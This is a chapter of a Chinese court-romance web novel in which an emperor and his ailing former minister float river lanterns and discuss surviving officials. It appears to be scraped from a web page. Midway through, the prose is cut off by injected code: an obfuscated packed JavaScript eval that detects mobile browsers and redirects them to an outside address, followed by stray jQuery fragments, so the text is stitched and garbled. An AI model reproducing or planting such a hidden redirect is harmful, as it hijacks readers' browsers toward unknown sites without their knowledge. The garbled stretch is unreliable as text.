22. 河灯许愿(入v公告)

作品:《贰臣

    入夜,萧辞生同褚明夷乘马车离开皇宫。


    京城相较于其他城池在这乱世中尚显繁华,此刻白银河畔正三三两两聚着放河灯的百姓,两侧街道也有不少摊子正此起彼伏地吆喝。


    二人下车走了一段路,明暗交错的灯光下,褚明夷的影子同萧辞生的交叠在一起,淹没在来往的人潮之中。


    他体弱畏寒,采荷特意提早准备了条厚实的披风给他穿着,竹叶刺绣在行走时仿佛随风摇动。萧辞生则留意着他的打扮,穿了同他相称的外衣,走路昂首阔步,打眼一看两人的背影倒是格外相配。


    夜里河边风大,褚明夷寻到一处人少些的地方,刚蹲下身,萧辞生就从旁边递来买好的河灯。


    “……谢陛下。”他眼珠动了动,目光风一样在对方脸上扫过。


    “在外边就不用这么喊了。”萧辞生听他这样疏离冷淡的语气不是很高兴,但是又不想表现出来,怕坏了褚明夷的兴致。


    毕竟这是他第一次对自己提出请求。


    灯是非常普通常见的式样,萧辞生本想从宫里带些制作精良、模样特殊的,好让褚明夷高兴。但褚明夷说不用,他此番前来,只是为了祭奠朋友。


    修长的手指托着灯座,缓缓将灯放在水面上。白银河在夜色下倒映着河畔的灯火,粼粼波光也映在褚明夷眼中。


    秋夜寒凉的河水沾湿了他的手指,他另一手拢着宽大的衣袖,身体前倾往河中探,白鹤饮水似的。头发随着动作滑落在胸前,发尾即将落在水里的前一瞬,萧辞生迅速伸手给他捞了回来。


    “你往后来点,别抻那么往前,当心掉下去。”萧辞生将他头发归拢到背后一把抓了,顺势将人往岸上拽了拽。


    褚明夷随着他的动作挪了两步,但前倾的动作是一点也没变,双眼叨在灯上,直勾勾地,目光随水流慢慢飘远。


    他是个瞧起来随和温柔的人,但骨子里有股八匹马拉不回来的执拗,能由着别人的就由了,不能的说什么也改不了,只会做点表面功夫。


    萧辞生知道他这是不听话,又拿他没办法,只好虚虚护在他身前。


    河灯飘进前方的灯群里,同其他模样差不多的灯互相碰撞几下,粘成一片,再转几圈就有些分不出谁是谁了。褚明夷这才收回视线,放了第二盏下去。


    他不说话,表情也无悲无喜,睫毛掩遮眼瞳,黑夜里看不出什么情绪。萧辞生就这么瞧着他慢吞吞地放了一盏又一盏,心里盘算着都是放给谁的。


    陈令铄、封不周,或许还有些他曾经交好的官员。但是数着数着,灯的数量却比人都要多了。


    他不记得褚明夷还有那么多“朋友”。


    加上景聿也不够。


    想到景聿,萧辞生目光沉了几分,落在身边人身上时多了些犹豫。


    他还是决定继续将景聿下毒的事瞒下去。褚明夷现在的身体和精神状况经不起刺激,若是让他知道了,八成要出事。


    放火还是不够解气,但萧辞生格外清楚,不管是威逼还是利诱,或者强迫交换,褚明夷都是死活不会给出皇陵的布局图的。就算真的知道真相,大概率也不会松口。


    他这人就是这么犟。


    奈何不得景聿,又逼迫不了褚明夷,萧辞生只能自己憋着这口气。


    不过即使是把景聿拉出来鞭尸,也无法抵消这人带给褚明夷的伤害。


    回过神来,萧辞生眼见着褚明夷还放个没完,不由皱眉拦住他的手,顺势有些强硬地将人往怀里带了一下。


    身后一堆河灯突然有些烫屁股——本来是他得意忘形带来撑场面的,当时满脑子都是让褚明夷放个够。


    结果人一声不吭地接受了,他又开始因为不清楚褚明夷为谁而放,而拈酸吃醋,心中不平。


    褚明夷的手连带手腕都凉得过分,指尖也是湿的。萧辞生将他的手指攥在掌心捏了捏,对上他疑惑抗拒的视线,不由分说地夺过灯,问:“怎的放了一个又一个,哪来那么多朋友需要祭奠?”


    “……并非全是为了朋友。”褚明夷垂下眸,声音低微飘忽,因病没什么力气,便也不做徒劳的挣扎。“陛下带的河灯多了些,臣一时贪心,想多许几个愿望。”


    萧辞生顿了顿,声音带上一丝期许:“许了什么愿望?”


    “希望……希望他们在另一边能得偿所愿,顺遂安宁。”褚明夷目光悠远,在占据了大半河面的各式河灯间游弋。“希望山河安定,再无兵戈;希望百姓安居乐业,一生幸福;希望……”


    “希望什么?”萧辞生紧紧盯着他的脸,喉咙发紧,不由吞咽一下,抓着他的手也不自觉收紧。“还有什么?”


    褚明夷终于转动眼珠,漆黑的瞳孔中微光点点,因为两人离得近,甚至显得有些深情。


    “愿陛下能开创盛世,身体康健,盛名千秋。”


    “没了?”萧辞生期待的表情冷了下去,两手扳住他的肩膀,恨不得亲口替他说。“你平时那口齿伶俐的劲呢,好话就会这两句?”


    但等褚明夷张嘴的时候,他又捂住他的嘴,不想听了,唯恐这人再说出什么背文书一样的毫无感情的官话来,憋屈的还是他自己。


    天天这里憋那里憋,他都要憋死了。


    心中不忿,他将夺来的灯放进河里,默默许了个愿望。


    ——希望褚明夷有一天能像我喜欢他一样喜欢我。


    出生至今二十八年,萧辞生从没信过这些神神鬼鬼的东西,想要的他都会拼了命的想法子去拿,自然也谈不上许什么愿望。


    可今日对着满载花灯的白银河,他忽然有种圆月并非在天上、在水中,而是真真切切在身边的感觉。


    也许是因为早上的满足,也许是因为褚明夷这些日子的顺从,总之就算没从他嘴里听见自己想听的,萧辞生还是心中饱胀,觉得日子格外有盼头。


    褚明夷手中空了,此行的目的也已达成,便撑着膝盖站起身。他身体还是不好,哪怕起得很慢也眼前发黑脑中晕眩,不由得晃了晃,被萧辞生眼疾手快地扶住,揽着肩膀带进怀里,轻轻喘息。


    风忽然大了些,吹得两人发丝纠缠,凉丝丝地挂在肩头、臂弯。萧辞生随手拨开他水一样倾泻的黑发,手中拂过他的鬓边,带着人往马车那边走去。


    发簪换了一批玉质的,瞧着简单,但做工精细,料子上乘,瞧着就是比之前那些木簪显贵许多,且更衬褚明夷的气质,让他整个人都显得矜贵不少。


    只是他向来不在乎这些东西,也瞧不出个好坏,人又迷糊着,一时没能发现梳妆台上已经被换了个遍。


    甚至因为在某些方面对萧辞生莫名其妙的信任,连失踪的盒子都没注意。


    有些轻微耳鸣,褚明夷缓过那阵难受,慢慢挪着步子跟随萧辞生的脚步。


    “安州一事,陛下可已了了?”虽然眼前景物恢复了正常,但头脑仍昏着,且有愈演愈烈的趋势,甚至神志也开始离散,难以聚起精神。褚明夷意识到自己的病又要犯了,赶忙趁着还清醒,将这几天惦记的事情说出来。


    “那点事放在我手里,还能拖这么久?”萧辞生懒得再纠正他的称呼,哼了一声。“头好几天便解决了,那太守都已经斩了。”


    距离褚明夷中箭也有十二日,萧辞生当时赶回来前就将安州解决得差不多了,这几日里更是接连安排下去,强行压下了另外几场小型的暴乱。


    眼下手腕虽有缓和,但仍将网收得极紧,京城附近的几座城池都老实了下来,再不敢有什么别的心思。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16728439|189564||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    他说完便斜着眼去看褚明夷,揽着人肩膀的手用了些力气,示意褚明夷抬头,好能欣赏对方脸上崇敬的神色。


    但褚明夷没有什么表情,捂着嘴咳嗽几声,碍于病势发展不得不加快了语速。“李伯文此人,心思活络,头脑精明,可用但不可控,如今做出带领安州叛乱一事,早些处置便是上策。但朝中有几人,虽同为旧臣,却老实本分,且各有所长。臣想恳请陛下,切莫因李伯文一事而对他们有所抵触,甚至伤其性命。”


    李伯文就是安州太守。


    当初褚明夷一人大权在握,六年时间里也陆续处理掉不少想走邪门歪路的大臣,到最后朝中文武官员不多,但也大多忠心,只是能力参差不齐。


    褚明夷决定投降之后遭到大部分人的反对,其中有按捺不住露出獠牙的、有浑水摸鱼的、也有年纪大了恪守为臣本分的。对于忠臣老臣,褚明夷强行赐予财宝安排致仕,将其逐出京城。其余人则控制起来,若说服不得,便留给萧辞生处理。


    愿意同他投降萧氏的少部分人,便是褚明夷方才所提及的那些。


    萧辞生登基以及之后的几天,褚明夷为他起草诏书时也留意着,见最严重的便是削官,无性命之忧和颠沛之苦,他便松了口气。可后来出了李伯文一事,褚明夷唯恐萧辞生会迁怒于他们。


    既然将那些官员带上这条路,他就要对他们负责。


    见萧辞生不说话,褚明夷缓了几息,娓娓道来:“宋锐此人规整细心有余,但变通不足,适合做些简单的整理归纳;许文安则极为活跃跳脱,但眼高手低,不可交予重任;冯子旭……”


    他一一数过二十余个名字,每个人的性格品质、能力高低,甚至偏好都清清楚楚。


    “够了。”见他说到喘息气短、摇摇欲坠还不肯停,萧辞生不得不厉声截住他的话。


    褚明夷戛然而止,神色略为紧张。


    “手底下人调查得倒是清清楚楚,有那闲工夫还不如多关心关心你自己。”离马车没几步路了,附近无人,萧辞生一把将褚明夷抱起来,三两步快走到车前。


    “先前不是还说朕不是滥杀之人,怎么现在看来,你连自己说的话都不信,还如此放心不下,时时记挂。”


    身体骤然腾空,褚明夷心跳加速,浑身僵硬,手都不知该往哪放。“臣……”


    “行了,你说的朕都知道,不然也不会让他们继续活着留在京城。”萧辞生再次打断他,躬身将他放进车里,脸色已经有些不好看。


    他生气了。褚明夷隐隐察觉。


    但是他不确定是为什么。


    是因为自己说得太多,有妄图染指朝政之嫌?还是因为他对皇帝指手画脚,不够乖顺?亦或是对旧日同僚过于关注且竭力推荐,显得像是要结党营私?


    他越想越多,越想越杂,思维蛛网般铺开、发散,远超过身体负荷,头脑越发不清晰,因说话太多而乏力短气的身体也变得沉重,窝在马车中有些昏沉。


    影卫在外放下帘子,萧辞生半蹲在他身边,攥了把他的手,又在他脸上摸了摸,见他神色逐渐迷蒙,想发火没处发,便在他脸上胡乱揉搓几下。


    “你为别人考虑那么周全,怎么不知道想想自己?”


    “我?”褚明夷眨眨眼,呆呆地道:“臣能安然无恙,已是知足。”


    “但朕不知足。”萧辞生揉得上瘾,掌控欲的满足让他的火气消了不少——同褚明夷相处就是这样,五味交杂,心绪起伏不定,当真是折磨人。


    见褚明夷这傻样,萧辞生眸光暗下去,将人抵在车壁上亲吻,“朕要你爱惜自己,给朕一个完整健康的褚明夷。”


    “既然选择了我,便要顺我的意,好好做我的人,从一而终,明白吗?”